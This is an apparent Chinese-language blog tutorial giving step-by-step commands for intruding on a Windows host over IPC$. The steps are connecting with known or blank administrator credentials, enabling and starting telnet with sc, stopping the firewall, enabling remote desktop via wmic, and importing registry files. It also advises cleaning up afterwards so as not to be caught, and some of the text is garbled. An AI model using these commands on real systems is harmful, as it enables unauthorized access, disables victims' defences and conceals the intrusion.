经过IPC$***，经过命令开启远程协助，。。

网络上经过IPC$***的说明不少，不止新手看不懂，我刚开始也看不懂，更别提去实施了

下面以IP为192.168.93.9为列

一、创建IPC$通道
先要确认本身知不知道对方的用户和密码，若是知道实施（1）跳过（2），若是不知道请用扫描（X-SCAN)工具或者测试空密码用（2）

（1）net use \\192.168.93.9 "password" /user:"administrator"    (创建有密码的链接对于域中管理 员省了不少事）
（2）net use \\192.168.93.9 "" /user:"administrator"  (创建空密码链接）

 

链接成功以后：
二、用sc命令把禁用的telnet服务变成自动
sc \\192.168.93.9 config tlntsvr start= auto
三、用sc命令将telnet启动
sc \\192.168.93.9 start tlntsvr
四、用SC命令将内置防火墙关闭
sc \\192.168.93.9 stop sharedaccess
五、telnet IP
telnet 192.168.93.9

如今什么均可以作了

--六、用sc命令将telnet关闭 ，吃完鸡，别忘了把嘴上油给擦干净哦，被抓到了就很差了。。
　　sc 192168.93.9 stop tlntsvr

七、在本机执行此命令开启对方远程协助
wmic /node:"192.168.93.9" /USER:"administrator" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

 

八、在DOS下执行.reg 注册表文件，好比注册表文件名称为a.reg
reg import a.reg
 

 

请的不清楚的或者不明白的能够发留言，我会回复的